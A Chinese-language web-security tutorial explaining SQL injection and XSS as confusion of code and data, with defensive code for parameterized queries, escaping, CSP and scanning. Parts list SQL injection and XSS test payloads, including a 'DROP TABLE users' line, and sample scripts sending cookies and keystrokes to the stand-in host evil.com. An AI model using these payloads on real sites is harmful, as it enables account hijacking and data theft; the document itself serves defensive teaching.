LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

为什么大厂也频频爆出安全漏洞?深挖XSS和SQL注入的本质

admin
2025年12月23日 9:9 本文热度 927

从字节到阿里,从腾讯到美团,安全漏洞屡禁不止的背后,是99%开发者都没真正理解的一个核心原理

前言:那些让人尴尬的安全事故

前段时间跟一个在某大厂做安全的朋友聊天,他说了一个让我印象深刻的数据:即使是BAT这种级别的公司,每年内部发现的XSS和SQL注入漏洞数量仍然是三位数

你可能会想,这些顶尖互联网公司,有专业的安全团队,有完善的代码审查流程,怎么还会出这种"低级"问题?

答案很简单:大多数开发者根本不理解这些漏洞的本质。他们把XSS和SQL注入当成"两个独立的安全问题"去记忆,而不是从底层原理去理解。就像背公式一样,考试能过,实战就废。

今天我们不讲那些高大上的安全理论,就从最核心的原理开始,用大白话和实战代码,把XSS和SQL注入这两个看似不同的漏洞,剖析到骨子里。

一、核心原理:一切安全问题的根源

1.1 用饭店点菜来理解"代码"和"数据"

先来个比喻帮你建立直觉。

假设你去饭店吃饭:

  • 菜单(代码):这是餐厅预先定义好的,你只能从菜单里选
  • 你的选择(数据):你指定要"宫保鸡丁"还是"麻婆豆腐"

正常流程应该是这样的:

[你的选择] → [服务员确认] → [厨房按菜单做菜] → [端给你]
  (数据)      (验证)        (执行代码)        (结果)

现在想象一个场景:如果你说"我要一份宫保鸡丁,顺便帮我把厨房的火关了",这时候问题就来了:

  • 如果服务员傻乎乎地照做,他会把"关火"这个操作指令(代码)当成了菜品名称(数据),直接传给厨房执行
  • 结果:整个厨房瘫痪,所有顾客的菜都没法做了

这就是XSS和SQL注入的本质:攻击者把恶意的"代码"伪装成"数据",而系统没有正确地分辨两者,导致执行了不该执行的操作。

1.2 技术层面的解释

用技术语言翻译一下:

攻击成功的条件 = 混淆代码边界 + 缺乏输入验证 + 执行未经过滤的内容

画个流程图更清楚:

正常流程:
┌──────────┐    ┌──────────┐    ┌──────────┐
│  用户输入  │───▶│  数据存储  │───▶│  安全输出  │
└──────────┘    └──────────┘    └──────────┘
                                      ↓
                                [纯数据,无执行]

攻击流程:
┌──────────┐    ┌──────────┐    ┌──────────┐
│ 恶意输入  │───▶│ 直接拼接  │───▶│ 作为代码  │
│ <script>  │    │  无过滤   │    │  被执行!  │
└──────────┘    └──────────┘    └──────────┘
                     ↑                  ↓
                  [致命缺陷]        [攻击成功]

记住这个原理,后面所有的分析都围绕它展开。

二、SQL注入:数据库的"恶意点菜"

2.1 先看一个真实的反面教材

这是我在代码审查时真实看到的一段代码(来自某创业公司的后台系统):

// ❌ 千万别这么写!这是生产事故的导火索
app.post('/login'async (req, res) => {
const { username, password } = req.body;

// 直接拼接SQL - 这是灾难的开始
const query = `
    SELECT * FROM users 
    WHERE username = '${username}
    AND password = '${password}'
  `
;

const result = await db.query(query);
if (result.length > 0) {
    res.json({ successtruetoken: generateToken() });
  } else {
    res.json({ successfalsemessage'用户名或密码错误' });
  }
});

看起来很正常对吧?但只要我输入这个:

// 攻击者的输入
username"admin' OR '1'='1"
password"随便什么"

SQL语句就变成了:

SELECT * FROM users 
WHERE username = 'admin' OR '1'='1' 
AND password = '随便什么'

2.2 拆解攻击原理

我们来看看这个攻击是怎么work的:

原始意图(开发者的想法):

查询条件 = (用户名匹配) AND (密码匹配)

攻击后的实际执行:

查询条件 = (用户名=admin) OR (永远为真) AND (密码匹配)

由于SQL的运算符优先级,OR会短路整个条件,导致:

最终结果 = 绕过了密码验证,直接登录成功!

用ASCII图解释这个"偷梁换柱":

正常的SQL语句边界:
┌────────────┬─────────┬────────────┐
│   WHERE    │ username│  AND pwd   │
│ (SQL代码)  │ (数据)  │ (SQL代码)  │
└────────────┴─────────┴────────────┘

注入后的边界混乱:
┌────────────┬──────────────────────┬─────┐
│   WHERE    │ username' OR '1'='1  │ AND │
│ (SQL代码)  │  (伪装的SQL代码!)   │(代码)│
└────────────┴──────────────────────┴─────┘
                     ↑
                [边界被突破]

2.3 常见的SQL注入类型

让我给你分类讲解几种常见的注入手法:

类型1: Union注入(数据泄露利器)

-- 正常查询
SELECTidnameFROM products WHEREcategory = '手机'

-- 注入后
SELECTidnameFROM products WHEREcategory = '手机'
UNIONSELECT username, passwordFROMusers--'

危害:能够把其他表的数据混入结果集,直接导出用户表、订单表等敏感信息。

类型2: 时间盲注(慢性毒药)

-- 攻击者无法直接看到数据,但可以通过响应时间判断
SELECT * FROM users WHERE id = 1 AND 
  IF(SUBSTRING(password,1,1)='a'SLEEP(5), 0)

原理:如果密码第一位是'a',数据库会睡眠5秒。攻击者通过响应时间,逐字符爆破出密码。

类型3: 二次注入(防不胜防)

这个更隐蔽:

// 第一步:注册用户,看起来很安全
POST /register
username"admin'--"
// 此时被安全地存入数据库

// 第二步:修改密码,这里忘了防御
UPDATE users SET password = '新密码' 
WHERE username = '从数据库读取的username'
// 实际执行: WHERE username = 'admin'--'
// 结果:把admin的密码改了!

2.4 正确的防御方式:参数化查询

核心思想:让数据库明确知道哪些是代码,哪些是数据

// ✅ Node.js + PostgreSQL 正确写法
const query = 'SELECT * FROM users WHERE username = $1 AND password_hash = $2';
const values = [username, bcrypt.hashSync(password)];

const result = await client.query(query, values);

为什么这样安全?

数据库引擎会这样处理:

第一步: 编译SQL模板
  "SELECT * FROM users WHERE username = $1 AND password_hash = $2"
  ↓
  [确定这是一个查询结构,有2个参数位置]

第二步: 绑定参数(作为纯数据)
$1 = "admin' OR '1'='1"  ← 注意:整个字符串被当作一个值
$2 = "hashedPassword"
  ↓
  [数据库会自动转义特殊字符,单引号变成普通字符]

第三步: 执行
  查询条件: username字段值是否等于字面量 "admin' OR '1'='1"
  ↓
  [根本不会匹配,因为没有用户名真的叫这个]

用对比图说明:

字符串拼接(危险):
  代码 + 数据 = "新代码" → 执行"新代码"
         ↓
    [边界模糊,可被篡改]

参数化查询(安全):
  代码(预编译) + 数据(只读) = 执行预编译的代码,填入数据
                ↓
           [边界清晰,无法篡改代码结构]

2.5 各技术栈的最佳实践

Node.js生态

// ✅ MySQL2 (支持Prepared Statement)
const [rows] = await pool.execute(
'SELECT * FROM orders WHERE user_id = ? AND status = ?',
  [userId, 'active']
);

// ✅ Sequelize ORM (会自动参数化)
const orders = await Order.findAll({
where: {
    userId: userId,
    status'active'
  }
});

// ⚠️ 动态表名/字段名怎么办?用白名单!
const allowedSortFields = ['created_at''price''name'];
const sortField = allowedSortFields.includes(req.query.sort) 
  ? req.query.sort 
  : 'created_at';

const query = `SELECT * FROM products ORDER BY ${sortField} DESC`;

Python生态

# ✅ psycopg2 (PostgreSQL)
cursor.execute(
    "SELECT * FROM users WHERE email = %s AND age > %s",
    (email, 18)
)

# ✅ SQLAlchemy ORM
users = session.query(User).filter(
    User.email == email,
    User.age > 18
).all()

PHP生态

// ✅ PDO (推荐)
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $email]);

// ✅ MySQLi Prepared Statement
$stmt = $mysqli->prepare('SELECT * FROM users WHERE email = ?');
$stmt->bind_param('s', $email);
$stmt->execute();

2.6 进阶防御:纵深防护

仅仅参数化还不够,我们需要多层防护:

// 完整的安全实践示例
const { z } = require('zod');

// 1. 输入验证(第一道防线)
const loginSchema = z.object({
username: z.string()
    .min(3).max(30)
    .regex(/^[a-zA-Z0-9_-]+$/), // 只允许字母数字下划线
password: z.string().min(8).max(100)
});

app.post('/login'async (req, res) => {
// 2. 验证输入格式
const validation = loginSchema.safeParse(req.body);
if (!validation.success) {
    return res.status(400).json({ error'输入格式不合法' });
  }

const { username, password } = validation.data;

// 3. 使用参数化查询(核心防御)
const query = 'SELECT id, password_hash FROM users WHERE username = $1';
const result = await db.query(query, [username]);

// 4. 数据库账户使用最小权限原则
// (配置层面:应用账户只有SELECT/INSERT/UPDATE权限,没有DROP/ALTER权限)

// 5. 不要在生产环境泄露SQL错误
try {
    // ... 业务逻辑
  } catch (err) {
    logger.error('Login error:', err); // 记录到日志
    res.status(500).json({ error'服务器错误' }); // 用户只看到通用错误
  }
});

三、XSS攻击:浏览器的"恶意外卖"

3.1 从一个真实场景说起

某电商平台的评论区曾经出过一个经典漏洞:

// 后端返回评论数据
{
"comment""<script>fetch('http://evil.com?cookie='+document.cookie)</script>",
"username""黑客小王"
}

// 前端直接渲染(❌ 错误示范!)
app.get('/product/:id', (req, res) => {
const comments = getComments(req.params.id);

  res.send(`
    <div class="comments">
      ${comments.map(c => `
        <div class="comment">
          <p>${c.username} 说:</p>
          <div>${c.comment}</div>  ← 这里炸了!
        </div>
      `
).join('')}

    </div>
  `
);
});

结果:所有访问这个商品页面的用户,他们的Cookie(包括登录凭证)都被发送到了evil.com,黑客可以直接劫持他们的账户。

3.2 XSS的三种类型

类型1: 反射型XSS(最常见)

// 场景:搜索功能
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`<p>搜索结果: "${keyword}"</p>`);  // ❌ 危险!
});

// 攻击URL:
https://example.com/search?q=<script>alert(document.cookie)</script>

特点:攻击代码在URL里,需要诱导用户点击链接。

类型2: 存储型XSS(最危险)

// 场景:用户发布文章
app.post('/article'async (req, res) => {
const { title, content } = req.body;

// ❌ 直接存储,没有过滤
await db.query(
    'INSERT INTO articles (title, content) VALUES ($1, $2)',
    [title, content]
  );
});

// 读取时也没过滤
app.get('/article/:id'async (req, res) => {
const article = await db.query('SELECT * FROM articles WHERE id = $1', [req.params.id]);

  res.send(`
    <h1>${article.title}</h1>
    <div>${article.content}</div>  ← 存储的恶意脚本在这里执行!
  `
);
});

危害:一次注入,永久生效,影响所有访问者。

类型3: DOM型XSS(纯前端问题)

// ❌ 常见的错误写法
// URL: https://example.com/#<img src=x onerror=alert(1)>

const hash = window.location.hash.slice(1);
document.getElementById('content').innerHTML = hash;  // 直接写入DOM!

用流程图解释攻击链:

反射型XSS:
用户点击恶意链接 → 服务器读取URL参数 → 未过滤直接返回HTML 
→ 浏览器解析HTML → 执行恶意脚本

存储型XSS:
攻击者发布恶意内容 → 存储到数据库 → 受害者访问页面 
→ 服务器读取恶意内容 → 返回给浏览器 → 执行恶意脚本

DOM型XSS:
恶意URL → 前端JavaScript读取URL → 直接操作DOM 
→ 浏览器执行恶意代码 (整个过程不经过服务器!)

3.3 XSS能干什么?

很多人觉得"弹个alert有什么大不了",实际上XSS的危害远超想象:

// 1. 盗取Cookie(最常见)
fetch('http://evil.com?c=' + document.cookie);

// 2. 键盘记录(获取密码)
document.addEventListener('keypress', (e) => {
  fetch('http://evil.com?key=' + e.key);
});

// 3. 钓鱼(伪造登录框)
document.body.innerHTML = `
  <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
    <form action="http://evil.com/steal">
      <input name="password" placeholder="会话已过期,请重新登录">
      <button>登录</button>
    </form>
  </div>
`
;

// 4. 蠕虫传播(微博XSS蠕虫的原理)
// 自动发布包含恶意代码的内容,感染所有看到的人
const payload = '<script src="http://evil.com/worm.js"></script>';
fetch('/api/post', {
method'POST',
bodyJSON.stringify({ content: payload })
});

// 5. 挖矿(消耗用户CPU)
const miner = new CoinHive.Anonymous('攻击者的钱包地址');
miner.start();

3.4 正确的防御方式

方法1: 输出编码(最核心)

原理:把特殊字符转义成HTML实体,让浏览器显示而不执行

// 手动实现HTML转义
function escapeHtml(unsafe{
return unsafe
    .replace(/&/g"&amp;")
    .replace(/</g"&lt;")
    .replace(/>/g"&gt;")
    .replace(/"/g"&quot;")
    .replace(/'/g"&#039;");
}

// 使用
const comment = '<script>alert("xss")</script>';
const safe = escapeHtml(comment);
// 结果: "&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;"
// 浏览器会显示 "<script>alert("xss")</script>" 而不是执行它

不同上下文需要不同的转义:

// HTML内容上下文
<div>{{ escapeHtml(userInput) }}</div>

/
/ HTML属性上下文(需要额外转义引号)
<img alt="{{ escapeHtmlAttr(userInput) }}">

/
/ JavaScript上下文(更复杂,最好避免)
<script>
  const data = "{{ escapeJs(userInput) }}";  /
/ 仍然危险!
</
script>

// URL参数上下文
<a href="?name={{ encodeURIComponent(userInput) }}">

// CSS上下文(几乎无法安全转义,应该禁止用户输入)
<div style="color: {{ userInput }}">  // ❌ 非常危险!

方法2: 使用安全的前端框架

现代框架默认就做了转义:

// React (默认安全)
function Comment({ text }{
return<div>{text}</div>;  // ✅ React自动转义
}

// 即使text是 "<script>alert(1)</script>"
// React也会渲染成文本,而不是执行

// Vue (默认安全)
<template>
<div>{{ userInput }}</div>  <!-- ✅ Vue自动转义 -->
</template>

/
/ ⚠️ 但要注意这些危险API:
/
/ React
<div dangerouslySetInnerHTML={{ __html: userInput }} /
>  // ❌ 非常危险!

// Vue
<div v-html="userInput"></div>// ❌ 非常危险!

方法3: Content Security Policy (CSP)

CSP是最后一道防线,即使有XSS漏洞,也能限制其危害:

// Express示例
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +           // 默认只允许同源资源
    "script-src 'self' https://cdn.example.com; " +  // 脚本只能从指定域加载
    "style-src 'self' 'unsafe-inline'; " +  // 样式允许同源和内联
    "img-src * data:; " +              // 图片可以从任何地方加载
    "connect-src 'self' https://api.example.com; " +  // API请求限制
    "font-src 'self' https://fonts.googleapis.com; " +
    "object-src 'none'; " +            // 禁止插件
    "base-uri 'self'; " +              // 限制<base>标签
    "form-action 'self'; " +           // 表单只能提交到同源
    "frame-ancestors 'none'; " +       // 防止被iframe嵌入
    "upgrade-insecure-requests;"       // 自动升级HTTP到HTTPS
  );
  next();
});

CSP如何防御XSS:

没有CSP:
<script>fetch('http://evil.com?c='+document.cookie)</script>
                          ↓
                  [攻击成功,数据泄露]

有CSP (connect-src 'self'):
<script>fetch('http://evil.com?c='+document.cookie)</script>
                          ↓
      [浏览器拒绝发送请求,攻击失败]
      Console: "Refused to connect to 'http://evil.com'..."

方法4: HTTPOnly Cookie

// ✅ 设置HTTPOnly标志
res.cookie('sessionId', token, {
  httpOnlytrue,     // JavaScript无法读取
  securetrue,       // 仅HTTPS传输
  sameSite'strict'  // 防CSRF
});

// 攻击者即使注入了XSS,也读不到Cookie:
console.log(document.cookie);  // 空字符串!

3.5 完整的防御代码示例

const express = require('express');
const { z } = require('zod');
const DOMPurify = require('isomorphic-dompurify');

const app = express();

// 1. 设置CSP
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy'"default-src 'self'; script-src 'self'");
  next();
});

// 2. 输入验证
const commentSchema = z.object({
content: z.string().max(1000),  // 限制长度
rating: z.number().int().min(1).max(5)
});

// 3. 存储评论
app.post('/api/comment'async (req, res) => {
const validation = commentSchema.safeParse(req.body);
if (!validation.success) {
    return res.status(400).json({ error'输入不合法' });
  }

const { content, rating } = validation.data;

// 4. 如果必须支持富文本,使用DOMPurify净化
const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b''i''em''strong''a'],  // 只允许安全标签
    ALLOWED_ATTR: ['href']                           // 只允许安全属性
  });

// 5. 存储到数据库(使用参数化查询)
await db.query(
    'INSERT INTO comments (content, rating) VALUES ($1, $2)',
    [cleanContent, rating]
  );

  res.json({ successtrue });
});

// 6. 读取评论(使用React自动转义)
app.get('/api/comments'async (req, res) => {
const comments = await db.query('SELECT * FROM comments');
  res.json(comments);  // React端会自动转义
});

React组件:

function CommentList({
const [comments, setComments] = useState([]);

  useEffect(() => {
    fetch('/api/comments')
      .then(r => r.json())
      .then(setComments);
  }, []);

return (
    <div>
      {comments.map(comment => (
        <div key={comment.id}>
          {/* ✅ React自动转义,安全 */}
          <p>{comment.content}</p>
          
          {/* ⚠️ 如果确实需要富文本 */}
          <div dangerouslySetInnerHTML={{ 
            __html: comment.content  // 前提:后端已用DOMPurify处理
          }} />

        </div>
      ))}
    </div>

  );
}

四、实战:常见场景的攻防演练

4.1 场景一:搜索功能

错误写法:

// ❌ 服务端
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  res.send(`<h1>搜索结果: ${keyword}</h1>`);
});

// 攻击: /search?q=<script>alert(1)</script>

正确写法:

// ✅ 服务端(使用模板引擎自动转义)
app.get('/search', (req, res) => {
  const keyword = req.query.q || '';
  res.render('search', { keyword });  // EJS/Pug会自动转义
});

// 或者用React
function SearchPage({
  const [keyword] = useSearchParams();
  return <h1>搜索结果: {keyword.get('q')}</h1>;  // ✅ React自动转义
}

4.2 场景二:用户资料页

// ❌ 错误:直接输出用户自定义的HTML
app.get('/profile/:id'async (req, res) => {
const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);

  res.send(`
    <div class="profile">
      <h1>${user.name}</h1>
      <div class="bio">${user.bio}</div>  <!-- bio可能包含恶意代码 -->
    </div>
  `
);
});

// ✅ 正确:
app.get('/profile/:id'async (req, res) => {
const user = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);

// 方案1: 纯文本,不支持富文本
  res.render('profile', {
    name: user.name,      // EJS: <%= name %> (自动转义)
    bio: user.bio
  });

// 方案2: 支持富文本(使用DOMPurify)
const cleanBio = DOMPurify.sanitize(user.bio, {
    ALLOWED_TAGS: ['p''br''b''i''a'],
    ALLOWED_ATTR: ['href']
  });

  res.render('profile', {
    name: user.name,
    bioHtml: cleanBio  // EJS: <%- bioHtml %> (不转义,因为已净化)
  });
});

4.3 场景三:JSON API

// 即使是JSON API也要小心!
// ❌ 错误:返回未转义的内容
app.get('/api/posts'async (req, res) => {
const posts = await db.query('SELECT * FROM posts');
  res.json(posts);  // 看起来安全?其实不是!
});

// 前端这样用就危险了:
fetch('/api/posts')
  .then(r => r.json())
  .then(posts => {
    const html = posts.map(p =>`<div>${p.content}</div>`).join('');
    document.getElementById('posts').innerHTML = html;  // ❌ XSS!
  });

// ✅ 正确:前端使用安全API
fetch('/api/posts')
  .then(r => r.json())
  .then(posts => {
    const container = document.getElementById('posts');
    posts.forEach(post => {
      const div = document.createElement('div');
      div.textContent = post.content;  // ✅ textContent不会执行脚本
      container.appendChild(div);
    });
  });

// 或者用React
function PostList({ posts }{
return (
    <div>
      {posts.map(post => (
        <div key={post.id}>{post.content}</div>  // ✅ React自动转义
      ))}
    </div>

  );
}

4.4 场景四:文件上传(间接XSS)

// ❌ 常见漏洞:SVG文件可以包含JavaScript!
app.post('/upload', upload.single('file'), (req, res) => {
// 只检查了扩展名
if (req.file.originalname.endsWith('.jpg')) {
    const path = `/uploads/${req.file.filename}`;
    res.json({ url: path });
  }
});

// 攻击者上传 malicious.svg:
/*
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>
*/


// ✅ 正确防御:
const fileType = require('file-type');

app.post('/upload', upload.single('file'), async (req, res) => {
// 1. 检查真实文件类型(不依赖扩展名)
const type = await fileType.fromFile(req.file.path);

const allowedTypes = ['image/jpeg''image/png''image/gif'];
if (!type || !allowedTypes.includes(type.mime)) {
    fs.unlinkSync(req.file.path);
    return res.status(400).json({ error'不支持的文件类型' });
  }

// 2. 重命名文件,使用随机名称
const ext = type.ext;
const filename = `${crypto.randomUUID()}.${ext}`;

// 3. 设置正确的Content-Type,并添加X-Content-Type-Options
  res.setHeader('X-Content-Type-Options''nosniff');

// 4. 如果是图片,可以重新编码(最安全,但消耗资源)
if (type.mime.startsWith('image/')) {
    const sharp = require('sharp');
    await sharp(req.file.path)
      .jpeg()  // 强制转为JPEG,移除所有元数据和潜在脚本
      .toFile(`uploads/${filename}`);
    fs.unlinkSync(req.file.path);
  }

  res.json({ url`/uploads/${filename}` });
});

五、检测与测试:怎么发现漏洞?

5.1 代码审计Checklist

在Code Review时,重点看这些:

// 🚨 SQL注入红色信号
// 1. 字符串拼接SQL
const query = "SELECT * FROM users WHERE id = " + userId;  // ❌
const query = `DELETE FROM users WHERE id = ${id}`;        // ❌

// 2. 使用了拼接符号的变量
db.query("SELECT * FROM " + tableName);  // ❌ 即使是表名也危险

// 3. ORM的raw查询
User.findBySql(`SELECT * FROM users WHERE email = '${email}'`);  // ❌

// 🚨 XSS红色信号
// 1. innerHTML/outerHTML
element.innerHTML = userInput;   // ❌
div.outerHTML = data;            // ❌

// 2. document.write
document.write(userInput);       // ❌

// 3. eval/Function
eval("console.log('" + userInput + "')");  // ❌
newFunction(userInput)();                 // ❌

// 4. 框架的危险API
<div dangerouslySetInnerHTML={{ __html: data }} />// ⚠️ 需要特别审查
<div v-html="userInput"></div>                      // ⚠️ 需要特别审查

// 5. location相关
location.href = userInput;       // ⚠️ 可能导致JavaScript伪协议XSS
window.location = 'javascript:' + userInput;  // ❌

// 6. 动态脚本创建
const script = document.createElement('script');
script.src = userInput;  // ⚠️ 需要验证来源

5.2 自动化扫描工具

静态分析(SAST)

# 1. Semgrep (推荐,规则丰富)
npm install -g semgrep
semgrep --config=auto .

# 示例规则(可自定义)
# semgrep-rules.yml
rules:
  - id: sql-injection-risk
    pattern: |
      db.query("... " + $VAR + " ...")
    message: "可能的SQL注入: 使用字符串拼接构造SQL"
    severity: ERROR
    
  - id: xss-inner-html
    pattern: |
      $EL.innerHTML = $VAR
    message: "可能的XSS: 使用innerHTML且来源未知"
    severity: WARNING

# 2. ESLint (配合安全插件)
npm install eslint-plugin-security
# .eslintrc.js
{
  plugins: ['security'],
  extends: ['plugin:security/recommended']
}

# 3. CodeQL (GitHub自带)
# .github/workflows/codeql.yml

动态测试(DAST)

# 1. OWASP ZAP (免费开源)
docker run -t owasp/zap2docker-stable zap-baseline.py \
  -t https://your-app.com \
  -r zap-report.html

# 2. Burp Suite (专业版,功能强大)
# 可以录制流量,自动fuzz测试

# 3. SQLMap (专业SQL注入测试)
# ⚠️ 只能在自己的系统或有授权的系统上使用!
sqlmap -u "https://your-app.com/search?q=test" \
  --batch \
  --level=5 \
  --risk=3 \
  --threads=10

5.3 手动渗透测试Payload

SQL注入测试用例:

-- 1. 基础测试(看是否有报错)
'
"
1' OR '1'='1
1" OR "1"="1

-- 2. Union注入
' UNION SELECTNULL--
' UNION SELECT NULL,NULL--
'
UNIONSELECTNULL,NULL,NULL--

-- 3. 时间盲注
' AND SLEEP(5)--
'
; WAITFOR DELAY '0:0:5'--

-- 4. 布尔盲注
' AND 1=1--  (应该返回正常)
' AND 1=2--  (应该返回空)

-- 5. 堆叠查询
'; DROPTABLEusers--

XSS测试Payload:

<!-- 1. 基础测试 -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- 2. 绕过简单过滤 -->
<ScRiPt>alert(1)</sCrIpT>
<img src=x onerror="alert`1`">
<svg><script>alert&#40;1)</script>

<!-- 3. 事件处理器 -->
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

<!-- 4. JavaScript伪协议 -->
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">

<!-- 5. 编码绕过 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
<img src=x onerror="alert\u0028 1\u0029">

<!-- 6. 特定上下文 -->
<!-- 在属性里 -->
" onmouseover="alert(1)
' onmouseover='alert(1)

<!-- 在<script>标签里 -->
</script><script>alert(1)</script>

5.4 集成到CI/CD

# .github/workflows/security.yml
name:SecurityChecks

on:[push,pull_request]

jobs:
sast:
    runs-on:ubuntu-latest
    steps:
      -uses:actions/checkout@v3
      
      # 1. Semgrep扫描
      -name:Semgrep
        uses:returntocorp/semgrep-action@v1
        with:
          config:>-
            p/security-audit
            p/javascript
            p/typescript
      
      # 2. npm audit
      -name:NPMSecurityAudit
        run:npmaudit--audit-level=high
      
      # 3. Snyk (依赖漏洞扫描)
      -name:SnykSecurity
        uses:snyk/actions/node@master
        env:
          SNYK_TOKEN:${{secrets.SNYK_TOKEN}}

dast:
    runs-on:ubuntu-latest
    needs:sast
    steps:
      # 部署到staging环境
      -name:DeploytoStaging
        run:|
          # 部署逻辑...
      
      # ZAP扫描
      -name:OWASPZAPScan
        uses:zaproxy/action-baseline@v0.7.0
        with:
          target:'https://staging.your-app.com'
          rules_file_name:'.zap/rules.tsv'
          cmd_options:'-a'

六、生产环境的监控与响应

6.1 实时监控

// WAF规则示例(AWS WAF)
{
"Name""SQLInjectionRule",
"Priority"1,
"Statement": {
    "OrStatement": {
      "Statements": [
        {
          "SqliMatchStatement": {
            "FieldToMatch": {
              "QueryString": {}
            },
            "TextTransformations": [
              { "Type""URL_DECODE""Priority"1 },
              { "Type""HTML_ENTITY_DECODE""Priority"2 }
            ]
          }
        },
        {
          "SqliMatchStatement": {
            "FieldToMatch": {
              "Body": {}
            },
            "TextTransformations": [
              { "Type""NONE""Priority"0 }
            ]
          }
        }
      ]
    }
  },
"Action": { "Block": {} }
}

// CSP violation报告收集
app.post('/csp-report', express.json({ type'application/csp-report' }), (req, res) => {
const report = req.body['csp-report'];

// 记录到日志系统
  logger.warn('CSP Violation', {
    documentUri: report['document-uri'],
    violatedDirective: report['violated-directive'],
    blockedUri: report['blocked-uri'],
    sourceFile: report['source-file'],
    lineNumber: report['line-number']
  });

// 发送告警(如果是严重违规)
if (report['violated-directive'].includes('script-src')) {
    alertTeam('可能的XSS攻击尝试', report);
  }

  res.status(204).end();
});

6.2 应急响应流程

当发现漏洞时的标准流程:

┌─────────────────┐
│ 1. 漏洞确认     │
│ - 复现漏洞      │
│ - 评估影响范围   │
│ - 判断严重程度   │
└────────┬────────┘
         ↓
┌─────────────────┐
│ 2. 紧急修复     │
│ - 临时WAF规则    │
│ - 回滚有问题代码  │
│ - 关闭受影响功能  │
└────────┬────────┘
         ↓
┌─────────────────┐
│ 3. 彻底修复     │
│ - 修改代码       │
│ - 添加测试       │
│ - Code Review   │
│ - 部署上线       │
└────────┬────────┘
         ↓
┌─────────────────┐
│ 4. 损害评估     │
│ - 查访问日志     │
│ - 查数据库日志   │
│ - 确定是否被利用  │
└────────┬────────┘
         ↓
┌─────────────────┐
│ 5. 善后处理     │
│ - 通知受影响用户  │
│ - 强制密码重置   │
│ - 撤销泄露凭证   │
│ - 复盘总结       │
└─────────────────┘

七、终极防御Checklist

把这个贴在你的显示器旁边:

输入处理

  • [ ] 所有用户输入都经过服务端验证(类型、长度、格式)
  • [ ] 使用白名单而不是黑名单
  • [ ] 对于枚举类型,使用严格的映射表

数据库操作

  • [ ] 100%使用参数化查询/Prepared Statement
  • [ ] 动态表名/字段名使用白名单验证
  • [ ] 数据库账户使用最小权限
  • [ ] 生产环境关闭详细错误信息

输出处理

  • [ ] 根据输出上下文选择正确的转义方式
  • [ ] 使用框架的自动转义功能
  • [ ] 避免使用innerHTML/eval/document.write
  • [ ] 如需富文本,使用DOMPurify等库净化

HTTP安全

  • [ ] Cookie设置HttpOnly + Secure + SameSite
  • [ ] 配置严格的CSP策略
  • [ ] 添加X-Content-Type-Options: nosniff
  • [ ] 添加X-Frame-Options: DENY

监控与测试

  • [ ] 集成SAST工具到CI/CD
  • [ ] 定期运行DAST扫描
  • [ ] 配置CSP violation报告
  • [ ] 启用WAF并调优规则
  • [ ] 设置异常告警机制

团队协作

  • [ ] 安全培训(每季度一次)
  • [ ] Code Review必须检查安全问题
  • [ ] 建立漏洞披露机制
  • [ ] 制定应急响应预案
  • [ ] 定期复盘历史安全事件

结语:安全是一种思维方式

最后说回开头的问题:为什么大厂也会出现这些"低级"漏洞?

因为安全问题本质上不是技术问题,而是意识问题工程问题

你写代码时脑子里要有个小人儿,时刻在问:

  • "这个数据来自用户吗?"
  • "我把它放进SQL/HTML之前转义了吗?"
  • "如果用户输入恶意内容会发生什么?"

记住这条黄金法则:

永远不要相信任何外部输入,永远把用户当成潜在的攻击者。

这不是说要对用户不友好,而是从系统设计的角度,默认一切外部数据都是不可信的,需要经过验证、过滤、转义后才能使用。

当你把这种思维内化到每一行代码里,XSS和SQL注入自然就远离你了。


阅读原文:原文链接


该文章在 2025/12/23 10:40:16 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2026 ClickSun All Rights Reserved